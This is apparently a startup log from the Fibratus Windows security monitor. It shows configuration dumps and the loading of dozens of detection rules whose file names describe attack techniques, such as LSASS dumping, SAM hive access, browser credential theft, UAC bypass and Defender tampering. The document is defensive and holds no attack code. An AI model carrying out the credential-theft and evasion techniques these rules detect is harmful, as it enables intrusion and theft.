evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-thread=>true buffer-size=>512 enable-fileio=>true stack-enrichment=>true enable-mem=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-threadpool=>false max-buffers=>36 enable-dns=>false enable-net=>true enable-image=>true enable-handle=>false enable-registry=>true enable-vamap=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 log-stdout=>true formatter=>text max-backups=>15] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck-interval=>10s sniff=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false timeout=>5s flush-period=>1s template-name=>fibratus bulk-workers=>1 healthcheck=>true trace-log=>false healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] http=>[ method=>POST endpoints=>[] timeout=>5s enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false serializer=>json] amqp=>[ tls-insecure-skip-verify=>false durable=>false timeout=>5s passive=>false exchange=>fibratus delivery-mode=>transient exchange-type=>topic routing-key=>fibratus vhost=>/ url=>amqp://localhost:5672 enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:36:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:36:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:36:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:36:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:36:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:37:19+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:37:19+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:37:19+01:00 level=info msg=bootstrapping with pid 14372. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:37:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-thread=>true enable-dns=>false enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-net=>true enable-mem=>true enable-audit-api=>true enable-threadpool=>false max-buffers=>36 stack-enrichment=>true enable-fileio=>true buffer-size=>512 min-buffers=>16 enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 log-stdout=>true level=>info max-age=>0] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ exchange-type=>topic durable=>false passive=>false vhost=>/ delivery-mode=>transient tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 enabled=>false routing-key=>fibratus exchange=>fibratus] http=>[ enable-gzip=>false enabled=>false method=>POST serializer=>json endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ flush-period=>1s gzip-compression=>false template-name=>fibratus timeout=>5s trace-log=>false enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s sniff=>false healthcheck=>true index-name=>fibratus bulk-workers=>1] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false fastscan=>true excluded-files=>[] skip-mmaps=>false skip-registry=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:37:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:37:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:38:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:38:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:38:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:39:31+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:39:31+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:39:31+01:00 level=info msg=bootstrapping with pid 17116. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:39:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-mem=>true enable-image=>true enable-dns=>false enable-handle=>false enable-audit-api=>true buffer-size=>512 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 